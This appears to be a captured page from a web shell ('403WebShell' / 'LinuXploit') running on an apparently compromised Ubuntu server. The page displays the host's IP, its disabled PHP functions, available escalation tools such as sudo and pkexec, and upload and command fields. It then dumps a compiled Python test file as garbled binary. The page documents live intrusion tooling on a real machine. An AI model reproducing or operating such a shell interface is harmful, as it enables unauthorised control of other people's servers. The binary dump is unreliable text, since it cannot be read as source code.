Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_urllib_response.cpython-310.pyc
o

�9j��@sNdZddlZddlZddlZddlZGdd�dej�Zedkr%e�	�dSdS)z'Unit tests for code in urllib.response.�Nc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestResponsecCs0t�tjtj�|_|j�d�|_ddd�|_dS)N�rbzwww.python.org�close)�Host�
Connection)�socket�AF_INET�SOCK_STREAM�sock�makefile�fp�test_headers��self�r�0/usr/lib/python3.10/test/test_urllib_response.py�setUp
s
�zTestResponse.setUpcsZtj�|j��|��tj��fdd�}|�|jj�|�|�	|jj�|�
t|�dS)Ncs*��	}Wd�dS1swYdS�Nr)�spam��addbaserr�fs"�z!TestResponse.test_with.<locals>.f)�urllib�responserr�assertIsInstance�tempfile�_TemporaryFileWrapper�assertFalse�closed�
assertTrue�assertRaises�
ValueError)rrrrr�	test_withszTestResponse.test_withcsDd��fdd�}tj�|j|�}|��|�|jj�|���dS)NFcsd�dS)NTrr��closehook_calledrr�	closehook sz1TestResponse.test_addclosehook.<locals>.closehook)rr�addclosehookrrrr)rr%rr#r�test_addclosehookszTestResponse.test_addclosehookcCs8tj�|j|j�}|�|��|j�|�|j|j�dSr)rr�addinforr
�assertEqual�info�headers)rr*rrr�test_addinfo*szTestResponse.test_addinfocCs�d}d}tj�|j|j||�}|�|��|j�|�|��|�|�|��|�|�|j	|j�|�|j
|�|�|j|�dS)Nzhttp://www.python.org��)rr�
addinfourlrr
r)r*�geturl�getcoder+�url�status)rr1�code�infourlrrr�test_addinfourl/s�zTestResponse.test_addinfourlcCs|j��dSr)r
rrrrr�tearDown;szTestResponse.tearDownN)	�__name__�
__module__�__qualname__rr"r'r,r5r6rrrrrs

r�__main__)
�__doc__rr�urllib.responser�unittest�TestCaserr7�mainrrrr�<module>s6�

Youez - 2016 - github.com/yon3zu
LinuXploit